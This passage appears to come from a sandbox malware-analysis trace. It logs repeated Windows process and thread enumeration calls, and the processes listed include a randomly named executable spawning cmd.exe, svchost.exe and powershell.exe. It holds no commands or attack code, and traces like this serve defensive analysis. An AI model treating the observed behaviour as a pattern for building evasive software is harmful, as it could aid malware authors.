th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0115.192] GetTickCount () returned 0x114f8e0 [0115.192] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.192] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0115.193] GetTickCount () returned 0x114f8e0 [0115.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.193] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.193] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0115.194] GetTickCount () returned 0x114f8e0 [0115.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.194] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="influenced.exe")) returned 1 [0115.195] GetTickCount () returned 0x114f8e0 [0115.195] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.195] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.196] GetTickCount () returned 0x114f8e0 [0115.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.197] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.197] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.198] GetTickCount () returned 0x114f8e0 [0115.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.198] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.198] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.199] GetTickCount () returned 0x114f8e0 [0115.199] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.199] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.199] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aUsMWsjhpLkBV4ai.exe")) returned 1 [0115.200] GetTickCount () returned 0x114f8e0 [0115.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.200] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.201] GetTickCount () returned 0x114f8e0 [0115.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.201] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.201] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.202] GetTickCount () returned 0x114f8e0 [0115.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.202] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.203] GetTickCount () returned 0x114f8e0 [0115.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.217] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa88, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.225] GetTickCount () returned 0x114f8ff [0115.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.225] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.226] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0115.230] GetTickCount () returned 0x114f8ff [0115.230] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.230] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.230] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.231] GetTickCount () returned 0x114f8ff [0115.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.231] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.231] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0115.232] GetTickCount () returned 0x114f8ff [0115.232] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.232] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.232] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.234] GetTickCount () returned 0x114f8ff [0115.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.234] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.235] GetTickCount () returned 0x114f90f [0115.235] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.235] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.235] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.236] GetTickCount () returned 0x114f90f [0115.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.236] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.236] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x2ade28, th32ProcessID=0x0, th32DefaultHeapID=0x3000003, th32ModuleID=0x2a0150, cntThreads=0x2adea0, th32ParentProcessID=0x2a0ae0, pcPriClassBase=2752708, dwFlags=0x18, szExeFile="")) returned 0 [0115.237] GetTickCount () returned 0x114f90f [0115.237] Thread32First (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.238] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.238] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.239] GetTickCount () returned 0x114f90f [0115.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.239] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.239] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.240] GetTickCount () returned 0x114f90f [0115.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.240] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.240] GetTickCount () returned 0x114f90f [0115.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.240] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.240] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.241] GetTickCount () returned 0x114f90f [0115.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.241] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.241] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.242] GetTickCount () returned 0x114f90f [0115.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.242] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.242] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.243] GetTickCount () returned 0x114f90f [0115.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.243] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.243] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.244] GetTickCount () returned 0x114f90f [0115.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.244] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.244] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.245] GetTickCount () returned 0x114f90f [0115.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.245] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.245] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.246] GetTickCount () returned 0x114f90f [0115.246] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.246] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.246] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.247] GetTickCount () returned 0x114f90f [0115.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.247] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.247] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.248] GetTickCount () returned 0x114f90f [0115.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.248] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.248] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.249] GetTickCount () returned 0x114f90f [0115.249] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.249] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.249] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.250] GetTickCount () returned 0x114f91e [0115.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.251] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.251] GetTickCount () returned 0x114f91e [0115.251] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.252] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.252] GetTickCount () returned 0x114f91e [0115.252] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.253] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.253] GetTickCount () returned 0x114f91e [0115.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.254] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.254] GetTickCount () returned 0x114f91e [0115.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.254] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.254] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.255] GetTickCount () returned 0x114f91e [0115.255] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.255] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.255] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.256] GetTickCount () returned 0x114f91e [0115.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.256] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.256] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.257] GetTickCount () returned 0x114f91e [0115.257] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.257] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.258] GetTickCount () returned 0x114f91e [0115.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.258] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.258] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.259] GetTickCount () returned 0x114f91e [0115.259] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.259] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.259] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.260] GetTickCount () returned 0x114f91e [0115.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.260] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.260] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.261] GetTickCount () returned 0x114f91e [0115.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.261] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.261] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.262] GetTickCount () returned 0x114f91e [0115.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.262] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.263] GetTickCount () returned 0x114f91e [0115.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.263] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.264] GetTickCount () returned 0x114f91e [0115.264] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.264] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.265] GetTickCount () returned 0x114f91e [0115.265] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.265] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.265] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.282] GetTickCount () returned 0x114f93e [0115.283] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.283] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.283] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.286] GetTickCount () returned 0x114f93e [0115.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.286] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.286] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.287] GetTickCount () returned 0x114f93e [0115.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.287] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.287] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.288] GetTickCount () returned 0x114f93e [0115.288] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.288] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.289] GetTickCount () returned 0x114f93e [0115.289] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.289] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.289] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.290] GetTickCount () returned 0x114f93e [0115.290] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.290] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.290] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.291] GetTickCount () returned 0x114f93e [0115.291] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.291] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.291] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.292] GetTickCount () returned 0x114f93e [0115.292] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.292] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.292] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.293] GetTickCount () returned 0x114f93e [0115.293] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.293] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.293] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.294] GetTickCount () returned 0x114f93e [0115.294] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.294] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.295] GetTickCount () returned 0x114f93e [0115.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.295] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.295] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.296] GetTickCount () returned 0x114f93e [0115.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.296] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.297] GetTickCount () returned 0x114f94d [0115.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.297] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.297] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.298] GetTickCount () returned 0x114f94d [0115.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.298] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.299] GetTickCount () returned 0x114f94d [0115.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.299] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.299] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.300] GetTickCount () returned 0x114f94d [0115.300] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.300] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.300] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.301] GetTickCount () returned 0x114f94d [0115.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.301] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.302] GetTickCount () returned 0x114f94d [0115.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.302] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.303] GetTickCount () returned 0x114f94d [0115.303] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.303] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.303] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 1 [0115.304] GetTickCount () returned 0x114f94d [0115.304] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.304] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.304] Thread32Next (hSnapshot=0x284, lpte=0x18f690) returned 